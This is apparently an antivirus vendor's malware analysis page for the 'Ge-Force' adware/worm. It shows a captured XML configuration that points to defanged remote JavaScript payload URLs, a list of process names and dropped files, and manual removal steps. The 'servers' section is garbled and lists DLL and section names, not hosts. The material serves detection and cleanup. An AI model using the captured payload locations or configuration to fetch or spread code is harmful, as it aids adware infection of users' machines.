ETag: "1420713954"

Last-Modified: Thu, 08 Jan 2015 10:45:54 GMT

Cache-Control: max-age=900

Content-Length: 1679

Content-Type: text/xml; charset=UTF-8

X-HW: 1421058083.dop006.ny2.t,1421058083.cds005.ny2.pr
<?xml version="1.0" encoding="UTF-8"?>.<CrAppInfo>.  <V
er>27</Ver>.  <ShortName>Ge-Forces 1.1</ShortName>
;.  <Description>Ge-Force</Description>.  <PublisherNam
e>iWebar</PublisherName>.  <HomePageLink>NA</HomePag
eLink>.  <JSLink>hXXp://js.newstatsdemosrv.com/plugin/apps/69
129/js/na/ie/app_code.js</JSLink>.  <GroupID>0</GroupID
>.  <Domain>NA</Domain>.  <RunInIframe>false</
RunInIframe>.  <ThanksURL>NA</ThanksURL>.  <EmailSig
nature>NA</EmailSignature>.  <SettingsURL>NA</Settin
gsURL>.  <CertifiedInstall>NA</CertifiedInstall>.  <
ExposeSites>NA</ExposeSites>.  <RemoteFBApiURL>NA</R
emoteFBApiURL>.  <DisableIE>true</DisableIE>.  <Disa
bleFF>true</DisableFF>.  <EnableSearchIE>false</Enab
leSearchIE>.  <EnableSearchFF>false</EnableSearchFF>.  
<AddressbarIE>NA</AddressbarIE>.  <AddressbarFF>NA&l
t;/AddressbarFF>.  <AddressbarFFEnhanced>NA</AddressbarFFE
nhanced>.  <AddressbarCR>NA</AddressbarCR>.  <NewTab
URL>NA</NewTabURL>.  <NewTabEmbed>NA</NewTabEmbed>
;.  <OpenSearchURL>NA</OpenSearchURL>.  <BackgroundJS&g
t;hXXp://js.newstatsdemosrv.com/plugin/apps/69129/bg/na/ie/bg_code.js&
lt;/BackgroundJS>.  <BackgroundVer>1</BackgroundVer>.  
<Manifest>NA</Manifest>.  <ChangePrevious>false&
<<< skipped >>>

The Worm connects to the servers at the folowing location(s):

SHELL32.DLL

ShellExecuteA

KERNEL32.DLL

.rsrc

.text

Explorer.EXE_2032_rwx_00E80000_00001000:

|explorer.exeM_2032_

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   Ge-Force-codedownloader.exe:2504
   Ge-Force-codedownloader.exe:2564
   regsvr32.exe:2416
   Khtmovq.exe:664
   %original file name%.exe:1616
   mscorsvw.exe:172
   Ge-Force-bg.exe:2632
   

2. Delete the original Worm file.
   
3. Delete or disinfect the following files created/modified by the Worm:
   

   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IHE4VINB\manifest[1].xml (25 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\192.js (869 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W5QGY4W6\184[1].js (25 bytes)
   %Program Files%\Ge-Force\utils.exe (86583 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\ExecDos.dll (5 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\301.js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\7.js (685 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\1.js (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\3.js (63 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\userCode\background.js (429 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\281.js (485 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\UserInfo.dll (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\91.js (6584 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\93.js (953 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\104.js (921 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\55b9f9b3-a933-4e78-9f2c-145eb2174f55-1.dll (35246 bytes)
   %WinDir%\Tasks\55b9f9b3-a933-4e78-9f2c-145eb2174f55-1.job (74 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\123.js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\InstallerUtils2.dll (3312 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\43.js (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\40.js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\221.js (415 bytes)
   %Program Files%\Ge-Force\Ge-Force.ico (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\242.js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\182.js (14 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RP80DVHJ\288[1].js (551 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\180.js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\47.js (7 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\246.js (8 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\45.js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\102.js (1 bytes)
   %Program Files%\Ge-Force\background.html (729 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\21.js (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\39.js (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\35.js (9 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\28.js (536 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\94.js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W5QGY4W6\337[1].js (407 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\354.js (4992 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\177.js (784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\4.js (3312 bytes)
   %Program Files%\Ge-Force\Ge-Force-buttonutil.dll (2321 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IHE4VINB\262[1].js (25 bytes)
   %Program Files%\Ge-Force\Ge-Force-codedownloader.exe (7547 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\InstallerUtils.dll (27704 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins.json (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\64.js (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\345.js (579 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\273.js (905 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\78.js (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\37.js (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\329201 (141808 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\md5dll.dll (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\14.js (784 bytes)
   %Program Files%\Ge-Force\Ge-Force-bho.dll (4545 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\nsisos.dll (5 bytes)
   %Program Files%\Ge-Force\Ge-Force-bg.exe (4185 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\9.js (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W5QGY4W6\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\184.js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\195.js (410 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nseB7.tmp (662466 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W5QGY4W6\356[1].js (407 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\41.js (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\2.js (63 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RP80DVHJ\plugins[1].json (4153 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\17.js (2392 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\userCode\extension.js (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\13.js (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\38.js (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RP80DVHJ\350[1].js (25 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\22.js (8 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\42.js (7 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\200.js (809 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GP2JGLQF\manifest[1].xml (25 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\223.js (825 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\220.js (1552 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\System.dll (11 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\286.js (997 bytes)
   %Program Files%\Ge-Force\Uninstall.exe (601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\67844 (31281 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GP2JGLQF\91[1].js (86817 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\72.js (1552 bytes)
   %WinDir%\Tasks\55b9f9b3-a933-4e78-9f2c-145eb2174f55-5.job (72 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IHE4VINB\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\StdUtils.dll (14 bytes)
   %Program Files%\Ge-Force\Ge-Force-buttonutil.exe (1425 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\183.js (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\253.js (737 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GP2JGLQF\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\263.js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RP80DVHJ\ipgeoapi[1] (39 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GP2JGLQF\193[1].js (867 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\46.js (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\manifest.xml (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\207.js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\44.js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IHE4VINB\app_code[1].js (2977 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\36.js (784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RP80DVHJ\desktop.ini (67 bytes)
   %Program Files%\Ge-Force\55b9f9b3-a933-4e78-9f2c-145eb2174f55-5.exe (7726 bytes)
   %WinDir%\system.ini (72 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\vbijkl.exe (741 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsvB5.tmp\Khtmovq.exe (4404939 bytes)
   %Program Files%\Common Files\Java\Java Update\jusched.exe (368 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsvB5.tmp\StdUtils.dll (14 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\0014C62D_Rar\%original file name%.exe (99596 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsvB5.tmp\Kuoyj.tmp (419460 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsvB5.tmp\System.dll (11 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsvB5.tmp\FacebookIsGod.dll (2426 bytes)
   

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
5. Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.